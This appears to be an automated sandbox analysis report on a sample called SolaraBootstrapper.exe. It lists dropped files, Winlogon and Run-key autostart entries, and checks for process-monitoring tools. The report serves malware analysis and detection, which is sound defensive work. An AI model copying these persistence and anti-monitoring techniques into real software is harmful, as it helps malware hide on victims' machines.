Source: C:\Media\fontreview.exe	File created: C:\Program Files\Uninstall Information\smss.exe	Jump to dropped file
Source: C:\ProgramData\SolaraBootstrapper.exe	File created: C:\Users\user\AppData\Local\Temp\Solara.Dir\Microsoft.Web.WebView2.Wpf.dll	Jump to dropped file
Source: C:\ProgramData\SolaraBootstrapper.exe	File created: C:\Users\user\AppData\Local\Temp\Solara.Dir\Wpf.Ui.dll	Jump to dropped file
Source: C:\ProgramData\SolaraBootstrapper.exe	File created: C:\Users\user\AppData\Local\Temp\Solara.Dir\Microsoft.Web.WebView2.WinForms.dll	Jump to dropped file
Source: C:\ProgramData\SolaraBootstrapper.exe	File created: C:\Users\user\AppData\Local\Temp\Solara.Dir\Microsoft.Web.WebView2.Core.dll	Jump to dropped file
Source: C:\Media\fontreview.exe	File created: C:\Program Files (x86)\Internet Explorer\en-US\oiDIGxjWBeQtCtbxHEXanoHsv.exe	Jump to dropped file
Source: C:\ProgramData\SolaraBootstrapper.exe	File created: C:\Users\user\AppData\Local\Temp\Solara.Dir\zlib1.dll	Jump to dropped file
Source: C:\ProgramData\SolaraBootstrapper.exe	File created: C:\Users\user\AppData\Local\Temp\Solara.Dir\api-ms-win-crt-convert-l1-1-0.dll	Jump to dropped file
Source: C:\Media\fontreview.exe	File created: C:\Recovery\oiDIGxjWBeQtCtbxHEXanoHsv.exe	Jump to dropped file
Source: C:\ProgramData\SolaraBootstrapper.exe	File created: C:\Users\user\AppData\Local\Temp\Solara.Dir\WebView2Loader.dll	Jump to dropped file
Source: C:\ProgramData\SolaraBootstrapper.exe	File created: C:\Users\user\AppData\Local\Temp\Solara.Dir\api-ms-win-crt-stdio-l1-1-0.dll	Jump to dropped file
Source: C:\Media\fontreview.exe	File created: C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\fontreview.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Boostraper.bat	File created: C:\Media\fontreview.exe	Jump to dropped file
Source: C:\ProgramData\SolaraBootstrapper.exe	File created: C:\Users\user\AppData\Local\Temp\Solara.Dir\ws2_32.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SolaraBootstrapper.exe	File created: C:\Users\user\AppData\Roaming\Bootstrapper.exe	Jump to dropped file
Source: C:\Users\user\Desktop\SolaraBootstrapper.exe	File created: C:\Users\user\AppData\Local\Temp\Boostraper.bat	Jump to dropped file
Source: C:\ProgramData\SolaraBootstrapper.exe	File created: C:\Users\user\AppData\Local\Temp\Solara.Dir\api-ms-win-crt-string-l1-1-0.dll	Jump to dropped file
Source: C:\ProgramData\SolaraBootstrapper.exe	File created: C:\Users\user\AppData\Local\Temp\Solara.Dir\libcurl.dll	Jump to dropped file
Source: C:\ProgramData\SolaraBootstrapper.exe	File created: C:\Users\user\AppData\Local\Temp\Solara.Dir\cpr.dll	Jump to dropped file

Source: C:\Users\user\Desktop\SolaraBootstrapper.exe	File created: C:\ProgramData\Bootstrapper.exe			Jump to dropped file
Source: C:\ProgramData\Bootstrapper.exe	File created: C:\ProgramData\SolaraBootstrapper.exe			Jump to dropped file

Source: C:\Users\user\Desktop\SolaraBootstrapper.exe

File created: C:\Users\user\AppData\Local\Temp\Boostraper.bat

Jump to dropped file

Boot Survival

Creates an undocumented autostart registry key

Source: C:\Media\fontreview.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell
Source: C:\Media\fontreview.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell
Source: C:\Media\fontreview.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell
Source: C:\Media\fontreview.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell

Creates multiple autostart registry keys

Source: C:\Media\fontreview.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run oiDIGxjWBeQtCtbxHEXanoHsv
Source: C:\Media\fontreview.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run smss
Source: C:\Media\fontreview.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run fontreview

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe	Window searched: window name: RegmonClass

Source: C:\Media\fontreview.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run smss
Source: C:\Media\fontreview.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run smss
Source: C:\Media\fontreview.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run smss
Source: C:\Media\fontreview.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run smss
Source: C:\Media\fontreview.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run oiDIGxjWBeQtCtbxHEXanoHsv
Source: C:\Media\fontreview.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run oiDIGxjWBeQtCtbxHEXanoHsv
Source: C:\Media\fontreview.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run fontreview
Source: C:\Media\fontreview.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run fontreview
Source: C:\Media\fontreview.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run fontreview
Source: C:\Media\fontreview.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run fontreview
Source: C:\Media\fontreview.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run oiDIGxjWBeQtCtbxHEXanoHsv
Source: C:\Media\fontreview.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run oiDIGxjWBeQtCtbxHEXanoHsv

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1

Source: C:\Users\user\Desktop\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\Bootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Boostraper.bat	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Media\fontreview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Media\fontreview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Media\fontreview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Media\fontreview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Media\fontreview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Media\fontreview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Media\fontreview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Media\fontreview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Media\fontreview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Media\fontreview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Media\fontreview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Media\fontreview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Media\fontreview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Media\fontreview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Media\fontreview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Media\fontreview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Media\fontreview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Media\fontreview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Media\fontreview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Media\fontreview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Media\fontreview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Media\fontreview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Media\fontreview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Media\fontreview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Media\fontreview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Media\fontreview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Media\fontreview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Media\fontreview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Media\fontreview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Media\fontreview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Media\fontreview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Media\fontreview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Media\fontreview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Media\fontreview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Media\fontreview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Media\fontreview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Media\fontreview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Media\fontreview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Media\fontreview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Media\fontreview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Media\fontreview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Media\fontreview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Media\fontreview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Media\fontreview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Media\fontreview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Media\fontreview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Media\fontreview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Media\fontreview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Media\fontreview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Media\fontreview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Media\fontreview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Media\fontreview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Media\fontreview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Media\fontreview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Media\fontreview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Media\fontreview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Media\fontreview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Media\fontreview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Media\fontreview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Media\fontreview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Media\fontreview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Media\fontreview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Media\fontreview.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
